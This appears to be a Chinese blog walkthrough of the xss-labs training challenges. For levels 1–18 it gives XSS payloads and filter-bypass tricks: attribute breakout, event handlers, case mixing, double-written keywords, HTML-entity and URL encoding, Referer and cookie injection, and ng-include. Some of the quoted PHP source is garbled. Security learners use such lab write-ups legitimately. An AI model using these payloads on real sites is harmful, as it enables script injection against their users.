IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> JavaScript知识库 -> xss-labs通关技巧 -> 正文阅读

[JavaScript知识库]xss-labs通关技巧

第一关

标签注入

<script>alert(1)</script>

没有任何防护措施

第二关

我们输入的数据,是在表单中的value属性内,所以需要先闭合input标签

"><script>alert(1)</script>

法二: 闭合value属性,然后在input标签内加入事件属性

" οnclick="alert(1)

查看源码:
在h2标签中有.htmlspecialchars( s t r ) , 所 以 在 该 地 方 虽 然 有 回 显 我 们 的 恶 意 代 码 , 但 是 不 能 x s s 注 入 而 在 i n p u t 标 签 中 : < i n p u t n a m e = k e y w o r d v a l u e = " ′ . str),所以在该地方虽然有回显我们的恶意代码,但是不能xss注入 而在input标签中:<input name=keyword value="'. str)xssinput<inputname=keywordvalue=".str.'">
对输入的变量没有任何过滤,导致了xss的发生

第三关

' onclick='alert(1)

输入script,"<“会被转换为html编码,所以这一关无法采用标签,因为标签都是带有”<"的,因此采用事件,需要闭合标签的属性:
可以通过查看网页的html页面,确定闭合方式,以及是否闭合
查看源码:

<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
<input name=keyword  value='".htmlspecialchars($str)."'>

所有的地方都被htmlspecialchars函数过滤了
htmlspecialchars 函数把一些预定义的字符转换为 HTML 实体(就是变量变成字符串不能用了)
该函数可以过滤“<”“>”““ ”,但是不会过滤单引号
而且value的闭合也是采用单引号,所以会有xss漏洞

第四关

代码审计: s t r 2 = s t r r e p l a c e ( " > " , " " , str2=str_replace(">","", str2=strr?eplace(">","",str);
用双写绕过吗?
试了一下发现不行,那就用利用事件属性(没有尖括号的payload)

" οnclick="alert(1)

第五关

<script>alert('test')</script>会被替换为<scr_ipt>alert('test')</script>
试了大小写也不行
on也被过滤了
那就用没有script的payload

"><a href="javascript:alert(1)"            #点击图片就会触发        或者
"><a href=javascript:alert('hack') > hack</a>

闭合前后标签属性效果如下图
在这里插入图片描述
原理:
标签用于定义超链接,用于重一个页面链接到宁一个页面。元素最重要的属性就是href属性,用于指定链接的目标,而且该标签还可以用于执行JavaScript语句。
代码审计发现:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

先对字符串转小写,再用字符串匹配对关键字进行替换,所以大小写绕过才会没用

第六关

先用<script>标签测试发现被替换成<scr_ipt>
"><a href=javascript:alert('hack') > hack</a>发现href也用不了
在这里插入图片描述

on也过滤了,过滤的东西挺多的,看源码发现

在这里插入图片描述
但是过滤了这么多东西,居然没有做大写转小写

"> <Script>alert("hack")</script>

第七关

关键字都被替换成空格,这种一般就用双写绕过

"> <Sscriptcript>alert("hack")</sscriptcript>

第八关

对我们输入语句的关键字script进行添加符号干扰,并转为了小写,而且猜测还对其进行htmlspecialchars()函数
构造语句,因为下面有超链接,现在只需要绕过JavaScript的关键字黑名单
对JavaScript中的某一个或某一部分的编码用html实体形式的ascii码即可,加入仅仅转换r,则大小写形式的html实体都可以,也就是&#82(R)和&#114(r)
HTML实体由三部分组成,”&#+ASCII+;“
payload:

javasc&#82;ipt:alert(1)

如果不行就url编码一下

javasc%26%2382;ipt:alert(1)

第九关

strpos()用于查找指定字符串第一次出现的位置,返回整数型。如果没有找到该字符串,则返回 false。
这里就是判断字符"http://"是否在字符串中出现,如果没出现就判定非法链接
这里用上一题的payload再加一个http://将其注释掉就可

javasc&#82;ipt:alert(1)//http://

第十关

第十关开始没有搜索框注入也没有超连接了
看源代码发现
在这里插入图片描述
接收了两个参数,其中对第二个参数t_sort没有进行实体化
但是进行了小的过滤
如何通过这个传参呢?–拼接
这个时候转换思路,我们改变其type,使其显露出来,再用onclick来触发。点击一下即可触发事件

?keyword=1&t_sort=" type="text" οnclick="alert('xss')

第十一关

进入到本页面查看其前端源码,发现又多了一个参数,先不管它是什么,首先想一下我们能不能利用这个参数xss呢
打开源码一看
这个参数是referer字段
可以构造语句用hackbar 将参数传入
payload:

" type="text" οnclick="alert('xss')

在这里插入图片描述

第十二关

像这种页面除了一个图片啥也没有的题,要么就扫一下有没有后门,要么就好好看一下前端源码
发现是
在这里插入图片描述
payload和上一题一样
在这里插入图片描述

第十三关

一样是用hackerbar,把值传到cooik里,payoload和上题一样

第十四关

很怪,这一关,没有注入点,整个页面是一个静态页面

第十五关

查看前端源码发现新参数ng-include
ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页

?src='level1.php?name=<img src=1 onerror=alert(111)>'

第十六关

尖括号没变,/和script还有空格被ban掉了
前面sql注入绕过空格的知识用上
尖括号没被ban掉就用标签替代
构造payload为:

<a%0dhref='javas%0acript:alert("hack")'>xss

第十七关

在这里插入图片描述发现其两个变量使用=符号拼接的形式被加入到标签中,该标签用于一些插件如flash等的插入,那这就是一个突破口
常规加尖括号的语句会被转为html实体字符,那就只有用事件触发来写,而且事件触发刚好是用等号来连接。
所以我们在b的后边加入onclick(点击后触发)或则onmouseover(鼠标移动到上方触发)触发器来进行恶意语句利用
构造payload

http://127.0.0.1/xss-labs/level17.php?arg01=a&arg02=b onmouseover=alert('hack')

第十八关

我怎么觉得十八关和十七关是一样的…
注:第17、18关都可以通过flash xss注入

  JavaScript知识库 最新文章
ES6的相关知识点
react 函数式组件 & react其他一些总结
Vue基础超详细
前端JS也可以连点成线(Vue中运用 AntVG6)
Vue事件处理的基本使用
Vue后台项目的记录 (一)
前后端分离vue跨域,devServer配置proxy代理
TypeScript
初识vuex
vue项目安装包指令收集
上一篇文章      下一篇文章      查看所有文章
加:2022-04-26 11:33:45  更:2022-04-26 11:33:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 1:44:01-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码